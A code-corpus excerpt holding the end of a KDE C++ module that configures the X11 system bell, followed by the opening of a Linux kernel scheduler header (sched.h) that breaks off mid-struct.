Module"), 0, KLocalizedString(), KAboutData::License_GPL, ki18n("(c) 1997 - 2001 Christian Czezatke, Matthias Elter")); about->addAuthor(ki18n("Christian Czezatke"), ki18n("Original author"), "e9025461@student.tuwien.ac.at"); about->addAuthor(ki18n("Bernd Wuebben"), KLocalizedString(), "wuebben@kde.org"); about->addAuthor(ki18n("Matthias Elter"), ki18n("Current maintainer"), "elter@kde.org"); about->addAuthor(ki18n("Carsten Pfeiffer"), KLocalizedString(), "pfeiffer@kde.org"); setAboutData(about); load(); } void KBellConfig::load() { XKeyboardState kbd; XGetKeyboardControl(QX11Info::display(), &kbd); m_volume->setValue(kbd.bell_percent); m_pitch->setValue(kbd.bell_pitch); m_duration->setValue(kbd.bell_duration); KConfig _cfg("kdeglobals", KConfig::CascadeConfig); KConfigGroup cfg(&_cfg, "General"); m_useBell->setChecked(cfg.readEntry("UseSystemBell", false)); useBell(m_useBell->isChecked()); } void KBellConfig::save() { XKeyboardControl kbd; int bellVolume = m_volume->value(); int bellPitch = m_pitch->value(); int bellDuration = m_duration->value(); kbd.bell_percent = bellVolume; kbd.bell_pitch = bellPitch; kbd.bell_duration = bellDuration; XChangeKeyboardControl(QX11Info::display(), KBBellPercent | KBBellPitch | KBBellDuration, &kbd); KConfig _config("kcmbellrc", KConfig::CascadeConfig); KConfigGroup config(&_config, "General"); config.writeEntry("Volume",bellVolume); config.writeEntry("Pitch",bellPitch); config.writeEntry("Duration",bellDuration); config.sync(); KConfig _cfg("kdeglobals", KConfig::CascadeConfig); KConfigGroup cfg(&_cfg, "General"); cfg.writeEntry("UseSystemBell", m_useBell->isChecked()); cfg.sync(); if (!m_useBell->isChecked()) { KConfig config("kaccessrc"); KConfigGroup group = config.group("Bell"); group.writeEntry("SystemBell", false); group.writeEntry("ArtsBell", false); group.writeEntry("VisibleBell", false); } } void KBellConfig::ringBell() { if (!m_useBell->isChecked()) { KNotification::beep(QString(), this); return; } // store the old state XKeyboardState old_state; XGetKeyboardControl(QX11Info::display(), &old_state); // switch to the test state XKeyboardControl kbd; kbd.bell_percent = m_volume->value(); kbd.bell_pitch = m_pitch->value(); if (m_volume->value() > 0) kbd.bell_duration = m_duration->value(); else kbd.bell_duration = 0; XChangeKeyboardControl(QX11Info::display(), KBBellPercent | KBBellPitch | KBBellDuration, &kbd); // ring bell XBell(QX11Info::display(),0); // restore old state kbd.bell_percent = old_state.bell_percent; kbd.bell_pitch = old_state.bell_pitch; kbd.bell_duration = old_state.bell_duration; XChangeKeyboardControl(QX11Info::display(), KBBellPercent | KBBellPitch | KBBellDuration, &kbd); } void KBellConfig::defaults() { m_volume->setValue(100); m_pitch->setValue(800); m_duration->setValue(100); m_useBell->setChecked( false ); useBell( false ); } void KBellConfig::useBell( bool on ) { m_volume->setEnabled( on ); m_pitch->setEnabled( on ); m_duration->setEnabled( on ); m_testButton->setEnabled( on ); changed(); }
jschwartzenberg/kicker
kcontrol/bell/bell.cpp
C++
gpl-2.0
9,064
#ifndef _LINUX_SCHED_H #define _LINUX_SCHED_H #include <uapi/linux/sched.h> struct sched_param { int sched_priority; }; #include <asm/param.h> /* for HZ */ #include <linux/capability.h> #include <linux/threads.h> #include <linux/kernel.h> #include <linux/types.h> #include <linux/timex.h> #include <linux/jiffies.h> #include <linux/rbtree.h> #include <linux/thread_info.h> #include <linux/cpumask.h> #include <linux/errno.h> #include <linux/nodemask.h> #include <linux/mm_types.h> #include <asm/page.h> #include <asm/ptrace.h> #include <asm/cputime.h> #include <linux/smp.h> #include <linux/sem.h> #include <linux/signal.h> #include <linux/compiler.h> #include <linux/completion.h> #include <linux/pid.h> #include <linux/percpu.h> #include <linux/topology.h> #include <linux/proportions.h> #include <linux/seccomp.h> #include <linux/rcupdate.h> #include <linux/rculist.h> #include <linux/rtmutex.h> #include <linux/time.h> #include <linux/param.h> #include <linux/resource.h> #include <linux/timer.h> #include <linux/hrtimer.h> #include <linux/task_io_accounting.h> #include <linux/latencytop.h> #include <linux/cred.h> #include <linux/llist.h> #include <linux/uidgid.h> #include <linux/gfp.h> #include <asm/processor.h> #define SCHED_ATTR_SIZE_VER0 48 /* sizeof first published struct */ /* * Extended scheduling parameters data structure. * * This is needed because the original struct sched_param can not be * altered without introducing ABI issues with legacy applications * (e.g., in sched_getparam()). * * However, the possibility of specifying more than just a priority for * the tasks may be useful for a wide variety of application fields, e.g., * multimedia, streaming, automation and control, and many others. * * This variant (sched_attr) is meant at describing a so-called * sporadic time-constrained task. In such model a task is specified by: * - the activation period or minimum instance inter-arrival time; * - the maximum (or average, depending on the actual scheduling * discipline) computation time of all instances, a.k.a. runtime; * - the deadline (relative to the actual activation time) of each * instance. * Very briefly, a periodic (sporadic) task asks for the execution of * some specific computation --which is typically called an instance-- * (at most) every period. Moreover, each instance typically lasts no more * than the runtime and must be completed by time instant t equal to * the instance activation time + the deadline. * * This is reflected by the actual fields of the sched_attr structure: * * @size size of the structure, for fwd/bwd compat. * * @sched_policy task's scheduling policy * @sched_flags for customizing the scheduler behaviour * @sched_nice task's nice value (SCHED_NORMAL/BATCH) * @sched_priority task's static priority (SCHED_FIFO/RR) * @sched_deadline representative of the task's deadline * @sched_runtime representative of the task's runtime * @sched_period representative of the task's period * * Given this task model, there are a multiplicity of scheduling algorithms * and policies, that can be used to ensure all the tasks will make their * timing constraints. */ struct sched_attr { u32 size; u32 sched_policy; u64 sched_flags; /* SCHED_NORMAL, SCHED_BATCH */ s32 sched_nice; /* SCHED_FIFO, SCHED_RR */ u32 sched_priority; /* SCHED_DEADLINE */ u64 sched_runtime; u64 sched_deadline; u64 sched_period; }; struct exec_domain; struct futex_pi_state; struct robust_list_head; struct bio_list; struct fs_struct; struct perf_event_context; struct blk_plug; /* * List of flags we want to share for kernel threads, * if only because they are not used by them anyway. */ #define CLONE_KERNEL (CLONE_FS | CLONE_FILES | CLONE_SIGHAND) /* * These are the constant used to fake the fixed-point load-average * counting. Some notes: * - 11 bit fractions expand to 22 bits by the multiplies: this gives * a load-average precision of 10 bits integer + 11 bits fractional * - if you want to count load-averages more often, you need more * precision, or rounding will get you. With 2-second counting freq, * the EXP_n values would be 1981, 2034 and 2043 if still using only * 11 bit fractions. */ extern unsigned long avenrun[]; /* Load averages */ extern void get_avenrun(unsigned long *loads, unsigned long offset, int shift); #define FSHIFT 11 /* nr of bits of precision */ #define FIXED_1 (1<<FSHIFT) /* 1.0 as fixed-point */ #define LOAD_FREQ (5*HZ+1) /* 5 sec intervals */ #define EXP_1 1884 /* 1/exp(5sec/1min) as fixed-point */ #define EXP_5 2014 /* 1/exp(5sec/5min) */ #define EXP_15 2037 /* 1/exp(5sec/15min) */ #define CALC_LOAD(load,exp,n) \ load *= exp; \ load += n*(FIXED_1-exp); \ load >>= FSHIFT; extern unsigned long total_forks; extern int nr_threads; DECLARE_PER_CPU(unsigned long, process_counts); extern int nr_processes(void); extern unsigned long nr_running(void); extern unsigned long nr_iowait(void); extern unsigned long nr_iowait_cpu(int cpu); extern unsigned long this_cpu_load(void); extern void sched_update_nr_prod(int cpu, long delta, bool inc); extern void sched_get_nr_running_avg(int *avg, int *iowait_avg, int *big_avg); extern void calc_global_load(unsigned long ticks); extern void update_cpu_load_nohz(void); /* Notifier for when a task gets migrated to a new CPU */ struct task_migration_notifier { struct task_struct *task; int from_cpu; int to_cpu; }; extern void register_task_migration_notifier(struct notifier_block *n); extern unsigned long get_parent_ip(unsigned long addr); extern void dump_cpu_task(int cpu); struct seq_file; struct cfs_rq; struct task_group; #ifdef CONFIG_SCHED_DEBUG extern void proc_sched_show_task(struct task_struct *p, struct seq_file *m); extern void proc_sched_set_task(struct task_struct *p); extern void print_cfs_rq(struct seq_file *m, int cpu, struct cfs_rq *cfs_rq); #endif /* * Task state bitmask. NOTE! These bits are also * encoded in fs/proc/array.c: get_task_state(). * * We have two separate sets of flags: task->state * is about runnability, while task->exit_state are * about the task exiting. Confusing, but this way * modifying one set can't modify the other one by * mistake. */ #define TASK_RUNNING 0 #define TASK_INTERRUPTIBLE 1 #define TASK_UNINTERRUPTIBLE 2 #define __TASK_STOPPED 4 #define __TASK_TRACED 8 /* in tsk->exit_state */ #define EXIT_ZOMBIE 16 #define EXIT_DEAD 32 /* in tsk->state again */ #define TASK_DEAD 64 #define TASK_WAKEKILL 128 #define TASK_WAKING 256 #define TASK_PARKED 512 #define TASK_STATE_MAX 1024 #define TASK_STATE_TO_CHAR_STR "RSDTtZXxKWP" extern char ___assert_task_state[1 - 2*!!( sizeof(TASK_STATE_TO_CHAR_STR)-1 != ilog2(TASK_STATE_MAX)+1)]; /* Convenience macros for the sake of set_task_state */ #define TASK_KILLABLE (TASK_WAKEKILL | TASK_UNINTERRUPTIBLE) #define TASK_STOPPED (TASK_WAKEKILL | __TASK_STOPPED) #define TASK_TRACED (TASK_WAKEKILL | __TASK_TRACED) /* Convenience macros for the sake of wake_up */ #define TASK_NORMAL (TASK_INTERRUPTIBLE | TASK_UNINTERRUPTIBLE) #define TASK_ALL (TASK_NORMAL | __TASK_STOPPED | __TASK_TRACED) /* get_task_state() */ #define TASK_REPORT (TASK_RUNNING | TASK_INTERRUPTIBLE | \ TASK_UNINTERRUPTIBLE | __TASK_STOPPED | \ __TASK_TRACED) #define task_is_traced(task) ((task->state & __TASK_TRACED) != 0) #define task_is_stopped(task) ((task->state & __TASK_STOPPED) != 0) #define task_is_dead(task) ((task)->exit_state != 0) #define task_is_stopped_or_traced(task) \ ((task->state & (__TASK_STOPPED | __TASK_TRACED)) != 0) #define task_contributes_to_load(task) \ ((task->state & TASK_UNINTERRUPTIBLE) != 0 && \ (task->flags & PF_FROZEN) == 0) #define __set_task_state(tsk, state_value) \ do { (tsk)->state = (state_value); } while (0) #define set_task_state(tsk, state_value) \ set_mb((tsk)->state, (state_value)) /* * set_current_state() includes a barrier so that the write of current->state * is correctly serialised wrt the caller's subsequent test of whether to * actually sleep: * * set_current_state(TASK_UNINTERRUPTIBLE); * if (do_i_need_to_sleep()) * schedule(); * * If the caller does not need such serialisation then use __set_current_state() */ #define __set_current_state(state_value) \ do { current->state = (state_value); } while (0) #define set_current_state(state_value) \ set_mb(current->state, (state_value)) /* Task command name length */ #define TASK_COMM_LEN 16 extern const char *sched_window_reset_reasons[]; enum task_event { PUT_PREV_TASK = 0, PICK_NEXT_TASK = 1, TASK_WAKE = 2, TASK_MIGRATE = 3, TASK_UPDATE = 4, IRQ_UPDATE = 5, }; #include <linux/spinlock.h> /* * This serializes "schedule()" and also protects * the run-queue from deletions/modifications (but * _adding_ to the beginning of the run-queue has * a separate lock). */ extern rwlock_t tasklist_lock; extern spinlock_t mmlist_lock; struct task_struct; #ifdef CONFIG_PROVE_RCU extern int lockdep_tasklist_lock_is_held(void); #endif /* #ifdef CONFIG_PROVE_RCU */ extern void sched_init(void); extern void sched_init_smp(void); extern asmlinkage void schedule_tail(struct task_struct *prev); extern void init_idle(struct task_struct *idle, int cpu); extern void init_idle_bootup_task(struct task_struct *idle); extern int runqueue_is_locked(int cpu); #if defined(CONFIG_SMP) && defined(CONFIG_NO_HZ_COMMON) extern void nohz_balance_enter_idle(int cpu); extern void set_cpu_sd_state_idle(void); extern int get_nohz_timer_target(void); #else static inline void nohz_balance_enter_idle(int cpu) { } static inline void set_cpu_sd_state_idle(void) { } #endif /* * Only dump TASK_* tasks. (0 for all tasks) */ extern void show_state_filter(unsigned long state_filter); static inline void show_state(void) { show_state_filter(0); } extern void show_regs(struct pt_regs *); /* * TASK is a pointer to the task whose backtrace we want to see (or NULL for current * task), SP is the stack pointer of the first frame that should be shown in the back * trace (or NULL if the entire call-chain of the task should be shown). */ extern void show_stack(struct task_struct *task, unsigned long *sp); void io_schedule(void); long io_schedule_timeout(long timeout); extern void cpu_init (void); extern void trap_init(void); extern void update_process_times(int user); extern void scheduler_tick(void); extern void sched_show_task(struct task_struct *p); #ifdef CONFIG_LOCKUP_DETECTOR extern void touch_softlockup_watchdog(void); extern void touch_softlockup_watchdog_sync(void); extern void touch_all_softlockup_watchdogs(void); extern int proc_dowatchdog_thresh(struct ctl_table *table, int write, void __user *buffer, size_t *lenp, loff_t *ppos); extern unsigned int softlockup_panic; void lockup_detector_init(void); #else static inline void touch_softlockup_watchdog(void) { } static inline void touch_softlockup_watchdog_sync(void) { } static inline void touch_all_softlockup_watchdogs(void) { } static inline void lockup_detector_init(void) { } #endif /* Attach to any functions which should be ignored in wchan output. */ #define __sched __attribute__((__section__(".sched.text"))) /* Linker adds these: start and end of __sched functions */ extern char __sched_text_start[], __sched_text_end[]; /* Is this address in the __sched functions? */ extern int in_sched_functions(unsigned long addr); #define MAX_SCHEDULE_TIMEOUT LONG_MAX extern signed long schedule_timeout(signed long timeout); extern signed long schedule_timeout_interruptible(signed long timeout); extern signed long schedule_timeout_killable(signed long timeout); extern signed long schedule_timeout_uninterruptible(signed long timeout); asmlinkage void schedule(void); extern void schedule_preempt_disabled(void); struct nsproxy; struct user_namespace; #ifdef CONFIG_MMU extern void arch_pick_mmap_layout(struct mm_struct *mm); extern unsigned long arch_get_unmapped_area(struct file *, unsigned long, unsigned long, unsigned long, unsigned long); extern unsigned long arch_get_unmapped_area_topdown(struct file *filp, unsigned long addr, unsigned long len, unsigned long pgoff, unsigned long flags); #else static inline void arch_pick_mmap_layout(struct mm_struct *mm) {} #endif extern void set_dumpable(struct mm_struct *mm, int value); extern int get_dumpable(struct mm_struct *mm); #define SUID_DUMP_DISABLE 0 /* No setuid dumping */ #define SUID_DUMP_USER 1 /* Dump as user of process */ #define SUID_DUMP_ROOT 2 /* Dump as root */ /* mm flags */ /* dumpable bits */ #define MMF_DUMPABLE 0 /* core dump is permitted */ #define MMF_DUMP_SECURELY 1 /* core file is readable only by root */ #define MMF_DUMPABLE_BITS 2 #define MMF_DUMPABLE_MASK ((1 << MMF_DUMPABLE_BITS) - 1) /* coredump filter bits */ #define MMF_DUMP_ANON_PRIVATE 2 #define MMF_DUMP_ANON_SHARED 3 #define MMF_DUMP_MAPPED_PRIVATE 4 #define MMF_DUMP_MAPPED_SHARED 5 #define MMF_DUMP_ELF_HEADERS 6 #define MMF_DUMP_HUGETLB_PRIVATE 7 #define MMF_DUMP_HUGETLB_SHARED 8 #define MMF_DUMP_FILTER_SHIFT MMF_DUMPABLE_BITS #define MMF_DUMP_FILTER_BITS 7 #define MMF_DUMP_FILTER_MASK \ (((1 << MMF_DUMP_FILTER_BITS) - 1) << MMF_DUMP_FILTER_SHIFT) #define MMF_DUMP_FILTER_DEFAULT \ ((1 << MMF_DUMP_ANON_PRIVATE) | (1 << MMF_DUMP_ANON_SHARED) |\ (1 << MMF_DUMP_HUGETLB_PRIVATE) | MMF_DUMP_MASK_DEFAULT_ELF) #ifdef CONFIG_CORE_DUMP_DEFAULT_ELF_HEADERS # define MMF_DUMP_MASK_DEFAULT_ELF (1 << MMF_DUMP_ELF_HEADERS) #else # define MMF_DUMP_MASK_DEFAULT_ELF 0 #endif /* leave room for more dump flags */ #define MMF_VM_MERGEABLE 16 /* KSM may merge identical pages */ #define MMF_VM_HUGEPAGE 17 /* set when VM_HUGEPAGE is set on vma */ #define MMF_EXE_FILE_CHANGED 18 /* see prctl_set_mm_exe_file() */ #define MMF_HAS_UPROBES 19 /* has uprobes */ #define MMF_RECALC_UPROBES 20 /* MMF_HAS_UPROBES can be wrong */ #define MMF_INIT_MASK (MMF_DUMPABLE_MASK | MMF_DUMP_FILTER_MASK) struct sighand_struct { atomic_t count; struct k_sigaction action[_NSIG]; spinlock_t siglock; wait_queue_head_t signalfd_wqh; }; struct pacct_struct { int ac_flag; long ac_exitcode; unsigned long ac_mem; cputime_t ac_utime, ac_stime; unsigned long ac_minflt, ac_majflt; }; struct cpu_itimer { cputime_t expires; cputime_t incr; u32 error; u32 incr_error; }; /** * struct cputime - snaphsot of system and user cputime * @utime: time spent in user mode * @stime: time spent in system mode * * Gathers a generic snapshot of user and system time. */ struct cputime { cputime_t utime; cputime_t stime; }; /** * struct task_cputime - collected CPU time counts * @utime: time spent in user mode, in &cputime_t units * @stime: time spent in kernel mode, in &cputime_t units * @sum_exec_runtime: total time spent on the CPU, in nanoseconds * * This is an extension of struct cputime that includes the total runtime * spent by the task from the scheduler point of view. * * As a result, this structure groups together three kinds of CPU time * that are tracked for threads and thread groups. Most things considering * CPU time want to group these counts together and treat all three * of them in parallel. */ struct task_cputime { cputime_t utime; cputime_t stime; unsigned long long sum_exec_runtime; }; /* Alternate field names when used to cache expirations. */ #define prof_exp stime #define virt_exp utime #define sched_exp sum_exec_runtime #define INIT_CPUTIME \ (struct task_cputime) { \ .utime = 0, \ .stime = 0, \ .sum_exec_runtime = 0, \ } /* * Disable preemption until the scheduler is running. * Reset by start_kernel()->sched_init()->init_idle(). * * We include PREEMPT_ACTIVE to avoid cond_resched() from working * before the scheduler is active -- see should_resched(). */ #define INIT_PREEMPT_COUNT (1 + PREEMPT_ACTIVE) /** * struct thread_group_cputimer - thread group interval timer counts * @cputime: thread group interval timers. * @running: non-zero when there are timers running and * @cputime receives updates. * @lock: lock for fields in this struct. * * This structure contains the version of task_cputime, above, that is * used for thread group CPU timer calculations. */ struct thread_group_cputimer { struct task_cputime cputime; int running; raw_spinlock_t lock; }; #include <linux/rwsem.h> struct autogroup; /* * NOTE! "signal_struct" does not have its own * locking, because a shared signal_struct always * implies a shared sighand_struct, so locking * sighand_struct is always a proper superset of * the locking of signal_struct. */ struct signal_struct { atomic_t sigcnt; atomic_t live; int nr_threads; struct list_head thread_head; wait_queue_head_t wait_chldexit; /* for wait4() */ /* current thread group signal load-balancing target: */ struct task_struct *curr_target; /* shared signal handling: */ struct sigpending shared_pending; /* thread group exit support */ int group_exit_code; /* overloaded: * - notify group_exit_task when ->count is equal to notify_count * - everyone except group_exit_task is stopped during signal delivery * of fatal signals, group_exit_task processes the signal. */ int notify_count; struct task_struct *group_exit_task; /* thread group stop support, overloads group_exit_code too */ int group_stop_count; unsigned int flags; /* see SIGNAL_* flags below */ /* * PR_SET_CHILD_SUBREAPER marks a process, like a service * manager, to re-parent orphan (double-forking) child processes * to this process instead of 'init'. The service manager is * able to receive SIGCHLD signals and is able to investigate * the process until it calls wait(). All children of this * process will inherit a flag if they should look for a * child_subreaper process at exit. */ unsigned int is_child_subreaper:1; unsigned int has_child_subreaper:1; /* POSIX.1b Interval Timers */ int posix_timer_id; struct list_head posix_timers; /* ITIMER_REAL timer for the process */ struct hrtimer real_timer; struct pid *leader_pid; ktime_t it_real_incr; /* * ITIMER_PROF and ITIMER_VIRTUAL timers for the process, we use * CPUCLOCK_PROF and CPUCLOCK_VIRT for indexing array as these * values are defined to 0 and 1 respectively */ struct cpu_itimer it[2]; /* * Thread group totals for process CPU timers. * See thread_group_cputimer(), et al, for details. */ struct thread_group_cputimer cputimer; /* Earliest-expiration cache. */ struct task_cputime cputime_expires; struct list_head cpu_timers[3]; struct pid *tty_old_pgrp; /* boolean value for session group leader */ int leader; struct tty_struct *tty; /* NULL if no tty */ #ifdef CONFIG_SCHED_AUTOGROUP struct autogroup *autogroup; #endif /* * Cumulative resource counters for dead threads in the group, * and for reaped dead child processes forked by this group. * Live threads maintain their own counters and add to these * in __exit_signal, except for the group leader. */ cputime_t utime, stime, cutime, cstime; cputime_t gtime; cputime_t cgtime; #ifndef CONFIG_VIRT_CPU_ACCOUNTING_NATIVE struct cputime prev_cputime; #endif unsigned long nvcsw, nivcsw, cnvcsw, cnivcsw; unsigned long min_flt, maj_flt, cmin_flt, cmaj_flt; unsigned long inblock, oublock, cinblock, coublock; unsigned long maxrss, cmaxrss; struct task_io_accounting ioac; /* * Cumulative ns of schedule CPU time fo dead threads in the * group, not including a zombie group leader, (This only differs * from jiffies_to_ns(utime + stime) if sched_clock uses something * other than jiffies.) */ unsigned long long sum_sched_runtime; /* * We don't bother to synchronize most readers of this at all, * because there is no reader checking a limit that actually needs * to get both rlim_cur and rlim_max atomically, and either one * alone is a single word that can safely be read normally. * getrlimit/setrlimit use task_lock(current->group_leader) to * protect this instead of the siglock, because they really * have no need to disable irqs. */ struct rlimit rlim[RLIM_NLIMITS]; #ifdef CONFIG_BSD_PROCESS_ACCT struct pacct_struct pacct; /* per-process accounting information */ #endif #ifdef CONFIG_TASKSTATS struct taskstats *stats; #endif #ifdef CONFIG_AUDIT unsigned audit_tty; unsigned audit_tty_log_passwd; struct tty_audit_buf *tty_audit_buf; #endif #ifdef CONFIG_CGROUPS /* * group_rwsem prevents new tasks from entering the threadgroup and * member tasks from exiting,a more specifically, setting of * PF_EXITING. fork and exit paths are protected with this rwsem * using threadgroup_change_begin/end(). Users which require * threadgroup to remain stable should use threadgroup_[un]lock() * which also takes care of exec path. Currently, cgroup is the * only user. */ struct rw_semaphore group_rwsem; #endif oom_flags_t oom_flags; short oom_score_adj; /* OOM kill score adjustment */ short oom_score_adj_min; /* OOM kill score adjustment min value. * Only settable by CAP_SYS_RESOURCE. */ struct mutex cred_guard_mutex; /* guard against foreign influences on * credential calculations * (notably. ptrace) */ }; /* * Bits in flags field of signal_struct. */ #define SIGNAL_STOP_STOPPED 0x00000001 /* job control stop in effect */ #define SIGNAL_STOP_CONTINUED 0x00000002 /* SIGCONT since WCONTINUED reap */ #define SIGNAL_GROUP_EXIT 0x00000004 /* group exit in progress */ #define SIGNAL_GROUP_COREDUMP 0x00000008 /* coredump in progress */ /* * Pending notifications to parent. */ #define SIGNAL_CLD_STOPPED 0x00000010 #define SIGNAL_CLD_CONTINUED 0x00000020 #define SIGNAL_CLD_MASK (SIGNAL_CLD_STOPPED|SIGNAL_CLD_CONTINUED) #define SIGNAL_UNKILLABLE 0x00000040 /* for init: ignore fatal signals */ /* If true, all threads except ->group_exit_task have pending SIGKILL */ static inline int signal_group_exit(const struct signal_struct *sig) { return (sig->flags & SIGNAL_GROUP_EXIT) || (sig->group_exit_task != NULL); } /* * Some day this will be a full-fledged user tracking system.. */ struct user_struct { atomic_t __count; /* reference count */ atomic_t processes; /* How many processes does this user have? */ atomic_t files; /* How many open files does this user have? */ atomic_t sigpending; /* How many pending signals does this user have? */ #ifdef CONFIG_INOTIFY_USER atomic_t inotify_watches; /* How many inotify watches does this user have? */ atomic_t inotify_devs; /* How many inotify devs does this user have opened? */ #endif #ifdef CONFIG_FANOTIFY atomic_t fanotify_listeners; #endif #ifdef CONFIG_EPOLL atomic_long_t epoll_watches; /* The number of file descriptors currently watched */ #endif #ifdef CONFIG_POSIX_MQUEUE /* protected by mq_lock */ unsigned long mq_bytes; /* How many bytes can be allocated to mqueue? */ #endif unsigned long locked_shm; /* How many pages of mlocked shm ? */ #ifdef CONFIG_KEYS struct key *uid_keyring; /* UID specific keyring */ struct key *session_keyring; /* UID's default session keyring */ #endif /* Hash table maintenance information */ struct hlist_node uidhash_node; kuid_t uid; #ifdef CONFIG_PERF_EVENTS atomic_long_t locked_vm; #endif }; extern int uids_sysfs_init(void); extern struct user_struct *find_user(kuid_t); extern struct user_struct root_user; #define INIT_USER (&root_user) struct backing_dev_info; struct reclaim_state; #if defined(CONFIG_SCHEDSTATS) || defined(CONFIG_TASK_DELAY_ACCT) struct sched_info { /* cumulative counters */ unsigned long pcount; /* # of times run on this cpu */ unsigned long long run_delay; /* time spent waiting on a runqueue */ /* timestamps */ unsigned long long last_arrival,/* when we last ran on a cpu */ last_queued; /* when we were last queued to run */ }; #endif /* defined(CONFIG_SCHEDSTATS) || defined(CONFIG_TASK_DELAY_ACCT) */ #ifdef CONFIG_TASK_DELAY_ACCT struct task_delay_info { spinlock_t lock; unsigned int flags; /* Private per-task flags */ /* For each stat XXX, add following, aligned appropriately * * struct timespec XXX_start, XXX_end; * u64 XXX_delay; * u32 XXX_count; * * Atomicity of updates to XXX_delay, XXX_count protected by * single lock above (split into XXX_lock if contention is an issue). */ /* * XXX_count is incremented on every XXX operation, the delay * associated with the operation is added to XXX_delay. * XXX_delay contains the accumulated delay time in nanoseconds. */ struct timespec blkio_start, blkio_end; /* Shared by blkio, swapin */ u64 blkio_delay; /* wait for sync block io completion */ u64 swapin_delay; /* wait for swapin block io completion */ u32 blkio_count; /* total count of the number of sync block */ /* io operations performed */ u32 swapin_count; /* total count of the number of swapin block */ /* io operations performed */ struct timespec freepages_start, freepages_end; u64 freepages_delay; /* wait for memory reclaim */ u32 freepages_count; /* total count of memory reclaim */ }; #endif /* CONFIG_TASK_DELAY_ACCT */ static inline int sched_info_on(void) { #ifdef CONFIG_SCHEDSTATS return 1; #elif defined(CONFIG_TASK_DELAY_ACCT) extern int delayacct_on; return delayacct_on; #else return 0; #endif } enum cpu_idle_type { CPU_IDLE, CPU_NOT_IDLE, CPU_NEWLY_IDLE, CPU_MAX_IDLE_TYPES }; /* * Increase resolution of cpu_power calculations */ #define SCHED_POWER_SHIFT 10 #define SCHED_POWER_SCALE (1L << SCHED_POWER_SHIFT) /* * sched-domains (multiprocessor balancing) declarations: */ #ifdef CONFIG_SMP #define SD_LOAD_BALANCE 0x0001 /* Do load balancing on this domain. */ #define SD_BALANCE_NEWIDLE 0x0002 /* Balance when about to become idle */ #define SD_BALANCE_EXEC 0x0004 /* Balance on exec */ #define SD_BALANCE_FORK 0x0008 /* Balance on fork, clone */ #define SD_BALANCE_WAKE 0x0010 /* Balance on wakeup */ #define SD_WAKE_AFFINE 0x0020 /* Wake task to waking CPU */ #define SD_SHARE_CPUPOWER 0x0080 /* Domain members share cpu power */ #define SD_SHARE_PKG_RESOURCES 0x0200 /* Domain members share cpu pkg resources */ #define SD_SERIALIZE 0x0400 /* Only a single load balancing instance */ #define SD_ASYM_PACKING 0x0800 /* Place busy groups earlier in the domain */ #define SD_PREFER_SIBLING 0x1000 /* Prefer to place tasks in a sibling domain */ #define SD_OVERLAP 0x2000 /* sched_domains of this level overlap */ extern int __weak arch_sd_sibiling_asym_packing(void); struct sched_domain_attr { int relax_domain_level; }; #define SD_ATTR_INIT (struct sched_domain_attr) { \ .relax_domain_level = -1, \ } extern int sched_domain_level_max; struct sched_group; struct sched_domain { /* These fields must be setup */ struct sched_domain *parent; /* top domain must be null terminated */ struct sched_domain *child; /* bottom domain must be null terminated */ struct sched_group *groups; /* the balancing groups of the domain */ unsigned long min_interval; /* Minimum balance interval ms */ unsigned long max_interval; /* Maximum balance interval ms */ unsigned int busy_factor; /* less balancing by factor if busy */ unsigned int imbalance_pct; /* No balance until over watermark */ unsigned int cache_nice_tries; /* Leave cache hot tasks for # tries */ unsigned int busy_idx; unsigned int idle_idx; unsigned int newidle_idx; unsigned int wake_idx; unsigned int forkexec_idx; unsigned int smt_gain; int nohz_idle; /* NOHZ IDLE status */ int flags; /* See SD_* */ int level; /* Runtime fields. */ unsigned long last_balance; /* init to jiffies. units in jiffies */ unsigned int balance_interval; /* initialise to 1. units in ms. */ unsigned int nr_balance_failed; /* initialise to 0 */ u64 last_update; #ifdef CONFIG_SCHEDSTATS /* load_balance() stats */ unsigned int lb_count[CPU_MAX_IDLE_TYPES]; unsigned int lb_failed[CPU_MAX_IDLE_TYPES]; unsigned int lb_balanced[CPU_MAX_IDLE_TYPES]; unsigned int lb_imbalance[CPU_MAX_IDLE_TYPES]; unsigned int lb_gained[CPU_MAX_IDLE_TYPES]; unsigned int lb_hot_gained[CPU_MAX_IDLE_TYPES]; unsigned int lb_nobusyg[CPU_MAX_IDLE_TYPES]; unsigned int lb_nobusyq[CPU_MAX_IDLE_TYPES]; /* Active load balancing */ unsigned int alb_count; unsigned int alb_failed; unsigned int alb_pushed; /* SD_BALANCE_EXEC stats */ unsigned int sbe_count; unsigned int sbe_balanced; unsigned int sbe_pushed; /* SD_BALANCE_FORK stats */ unsigned int sbf_count; unsigned int sbf_balanced; unsigned int sbf_pushed; /* try_to_wake_up() stats */ unsigned int ttwu_wake_remote; unsigned int ttwu_move_affine; unsigned int ttwu_move_balance; #endif #ifdef CONFIG_SCHED_DEBUG char *name; #endif union { void *private; /* used during construction */ struct rcu_head rcu; /* used during destruction */ }; unsigned int span_weight; /* * Span of all CPUs in this domain. * * NOTE: this field is variable length. (Allocated dynamically * by attaching extra space to the end of the structure, * depending on how many CPUs the kernel has booted up with) */ unsigned long span[0]; }; static inline struct cpumask *sched_domain_span(struct sched_domain *sd) { return to_cpumask(sd->span); } extern void partition_sched_domains(int ndoms_new, cpumask_var_t doms_new[], struct sched_domain_attr *dattr_new); /* Allocate an array of sched domains, for partition_sched_domains(). */ cpumask_var_t *alloc_sched_domains(unsigned int ndoms); void free_sched_domains(cpumask_var_t doms[], unsigned int ndoms); bool cpus_share_cache(int this_cpu, int that_cpu); #else /* CONFIG_SMP */ struct sched_domain_attr; static inline void partition_sched_domains(int ndoms_new, cpumask_var_t doms_new[], struct sched_domain_attr *dattr_new) { } static inline bool cpus_share_cache(int this_cpu, int that_cpu) { return true; } #endif /* !CONFIG_SMP */ struct io_context; /* See blkdev.h */ #ifdef ARCH_HAS_PREFETCH_SWITCH_STACK extern void prefetch_stack(struct task_struct *t); #else static inline void prefetch_stack(struct task_struct *t) { } #endif struct audit_context; /* See audit.c */ struct mempolicy; struct pipe_inode_info; struct uts_namespace; struct load_weight { unsigned long weight, inv_weight; }; struct sched_avg { /* * These sums represent an infinite geometric series and so are bound * above by 1024/(1-y). Thus we only need a u32 to store them for for all * choices of y < 1-2^(-32)*1024. */ u32 runnable_avg_sum, runnable_avg_period; #ifdef CONFIG_SCHED_HMP u32 runnable_avg_sum_scaled; #endif u64 last_runnable_update; s64 decay_count; unsigned long load_avg_contrib; }; #ifdef CONFIG_SCHEDSTATS struct sched_statistics { u64 wait_start; u64 wait_max; u64 wait_count; u64 wait_sum; u64 iowait_count; u64 iowait_sum; u64 sleep_start; u64 sleep_max; s64 sum_sleep_runtime; u64 block_start; u64 block_max; u64 exec_max; u64 